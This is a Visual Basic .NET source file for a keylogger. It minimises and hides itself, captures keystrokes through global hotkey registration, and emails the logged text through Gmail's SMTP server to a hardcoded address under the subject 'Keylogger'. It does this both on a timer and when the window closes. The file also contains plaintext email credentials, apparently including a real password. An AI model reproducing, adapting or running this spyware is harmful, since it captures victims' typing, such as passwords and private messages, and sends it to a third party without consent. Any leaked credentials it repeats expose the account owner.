Imports System.Net.Mail
Public Class Form1
    Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As IntPtr, ByVal id As Integer, ByVal fsModifier As Integer, ByVal vk As Integer) As Integer
    Private Declare Sub UnregisterHotKey Lib "user32" (ByVal hWnd As IntPtr, ByVal id As Integer)
    Private Const Key_NONE As Integer = &H0
    Private Const WM_HOTKEY As Integer = &H312
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
        Me.WindowState = FormWindowState.Minimized
        Me.TransparencyKey = Me.BackColor
        RegHotkeys()
        Timer1.Start()
        BackgroundWorker1.RunWorkerAsync()
    End Sub
   Private Sub NotifyIcon1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles NotifyIcon1.Click
        Me.ShowInTaskbar = True
        Me.NotifyIcon1.Visible = False
        Me.WindowState = FormWindowState.Normal
    End Sub
    Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
        If Me.WindowState = FormWindowState.Minimized Then
            Me.ShowInTaskbar = False
            Me.WindowState = FormWindowState.Minimized
            Me.NotifyIcon1.Visible = True
        End If
    End Sub
    Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("denniskekz@googlemail.com")
        MyMailMessage.To.Add("denniskekz@googlemail.com")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = TextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("denniskekz@googlemail.com", "dennis2510schildi")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Me.Close()
    End Sub
    Sub RegHotkeys()
        BackgroundWorker1.RunWorkerAsync()
        RegisterHotKey(Me.Handle, 0, Key_NONE, Keys.A)
        RegisterHotKey(Me.Handle, 1, Key_NONE, Keys.B)
        RegisterHotKey(Me.Handle, 2, Key_NONE, Keys.C)
        RegisterHotKey(Me.Handle, 3, Key_NONE, Keys.D)
        RegisterHotKey(Me.Handle, 4, Key_NONE, Keys.E)
        RegisterHotKey(Me.Handle, 5, Key_NONE, Keys.F)
        RegisterHotKey(Me.Handle, 6, Key_NONE, Keys.G)
        RegisterHotKey(Me.Handle, 7, Key_NONE, Keys.H)
        RegisterHotKey(Me.Handle, 8, Key_NONE, Keys.I)
        RegisterHotKey(Me.Handle, 9, Key_NONE, Keys.J)
        RegisterHotKey(Me.Handle, 10, Key_NONE, Keys.K)
        RegisterHotKey(Me.Handle, 11, Key_NONE, Keys.L)
        RegisterHotKey(Me.Handle, 12, Key_NONE, Keys.M)
        RegisterHotKey(Me.Handle, 13, Key_NONE, Keys.N)
        RegisterHotKey(Me.Handle, 14, Key_NONE, Keys.O)
        RegisterHotKey(Me.Handle, 15, Key_NONE, Keys.P)
        RegisterHotKey(Me.Handle, 16, Key_NONE, Keys.Q)
        RegisterHotKey(Me.Handle, 17, Key_NONE, Keys.R)
        RegisterHotKey(Me.Handle, 18, Key_NONE, Keys.S)
        RegisterHotKey(Me.Handle, 19, Key_NONE, Keys.T)
        RegisterHotKey(Me.Handle, 20, Key_NONE, Keys.U)
        RegisterHotKey(Me.Handle, 21, Key_NONE, Keys.V)
        RegisterHotKey(Me.Handle, 22, Key_NONE, Keys.W)
        RegisterHotKey(Me.Handle, 23, Key_NONE, Keys.X)
        RegisterHotKey(Me.Handle, 24, Key_NONE, Keys.Y)
        RegisterHotKey(Me.Handle, 25, Key_NONE, Keys.Z)
        RegisterHotKey(Me.Handle, 26, Key_NONE, Keys.D0)
        RegisterHotKey(Me.Handle, 27, Key_NONE, Keys.D1)
        RegisterHotKey(Me.Handle, 28, Key_NONE, Keys.D2)
        RegisterHotKey(Me.Handle, 29, Key_NONE, Keys.D3)
        RegisterHotKey(Me.Handle, 30, Key_NONE, Keys.D4)
        RegisterHotKey(Me.Handle, 31, Key_NONE, Keys.D5)
        RegisterHotKey(Me.Handle, 32, Key_NONE, Keys.D6)
        RegisterHotKey(Me.Handle, 33, Key_NONE, Keys.D7)
        RegisterHotKey(Me.Handle, 34, Key_NONE, Keys.D8)
        RegisterHotKey(Me.Handle, 35, Key_NONE, Keys.D9)
        RegisterHotKey(Me.Handle, 36, Key_NONE, Keys.Space)
        RegisterHotKey(Me.Handle, 37, Key_NONE, Keys.Enter)
        RegisterHotKey(Me.Handle, 38, Key_NONE, Keys.RShiftKey)
        RegisterHotKey(Me.Handle, 39, Key_NONE, Keys.LShiftKey)
        RegisterHotKey(Me.Handle, 40, Key_NONE, Keys.CapsLock)
        RegisterHotKey(Me.Handle, 41, Key_NONE, Keys.Back)
    End Sub
    Protected Overrides Sub WndProc(ByRef m As Message)
        If m.Msg = WM_HOTKEY Then
            Select Case m.WParam
                Case 0
                    TextBox1.Text &= "a"
                Case 1
                    TextBox1.Text &= "b"
                Case 2
                    TextBox1.Text &= "c"
                Case 3
                    TextBox1.Text &= "d"
                Case 4
                    TextBox1.Text &= "e"
                Case 5
                    TextBox1.Text &= "f"
                Case 6
                    TextBox1.Text &= "g"
                Case 7
                    TextBox1.Text &= "h"
                Case 8
                    TextBox1.Text &= "i"
                Case 9
                    TextBox1.Text &= "j"
                Case 10
                    TextBox1.Text &= "k"
                Case 11
                    TextBox1.Text &= "l"
                Case 12
                    TextBox1.Text &= "m"
                Case 13
                    TextBox1.Text &= "n"
                Case 14
                    TextBox1.Text &= "o"
                Case 15
                    TextBox1.Text &= "p"
                Case 16
                    TextBox1.Text &= "q"
                Case 17
                    TextBox1.Text &= "r"
                Case 18
                    TextBox1.Text &= "s"
                Case 19
                    TextBox1.Text &= "t"
                Case 20
                    TextBox1.Text &= "u"
                Case 21
                    TextBox1.Text &= "v"
                Case 22
                    TextBox1.Text &= "w"
                Case 23
                    TextBox1.Text &= "x"
                Case 24
                    TextBox1.Text &= "y"
                Case 25
                    TextBox1.Text &= "z"
                Case 26
                    TextBox1.Text &= "0"
                Case 27
                    TextBox1.Text &= "1"
                Case 28
                    TextBox1.Text &= "2"
                Case 29
                    TextBox1.Text &= "3"
                Case 30
                    TextBox1.Text &= "4"
                Case 31
                    TextBox1.Text &= "5"
                Case 32
                    TextBox1.Text &= "6"
                Case 33
                    TextBox1.Text &= "7"
                Case 34
                    TextBox1.Text &= "8"
                Case 35
                    TextBox1.Text &= "9"
                Case 36
                    TextBox1.Text &= " "
                Case 37
                    TextBox1.Text &= "[ENTER]"
                Case 38
                    TextBox1.Text &= "[SHIFT]"
                Case 39
                    TextBox1.Text &= "[SHIFT]"
                Case 40
                    TextBox1.Text &= "[GROß]"
                Case 41
                    TextBox1.Text &= "[DEL]"
            End Select
        End If
        MyBase.WndProc(m)
    End Sub
    Private Sub Form1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseClick
        Me.WindowState = FormWindowState.Minimized
    End Sub
    Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
        Me.WindowState = FormWindowState.Minimized
    End Sub
    Private Sub SetWindowPos(ByVal Handle As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer, ByVal p5 As Integer, ByVal p6 As Integer, ByVal p7 As Integer)
        Throw New NotImplementedException
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("denniskekz@googlemail.com")
        MyMailMessage.To.Add("denniskekz@googlemail.com")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = TextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("denniskekz@googlemail.com", "pw")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Me.Close()
    End Sub
    Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
        Threading.Thread.Sleep(1000)
        Timer1.Start()
        BackgroundWorker1.RunWorkerAsync()
        Timer1.Stop()
    End Sub
End Class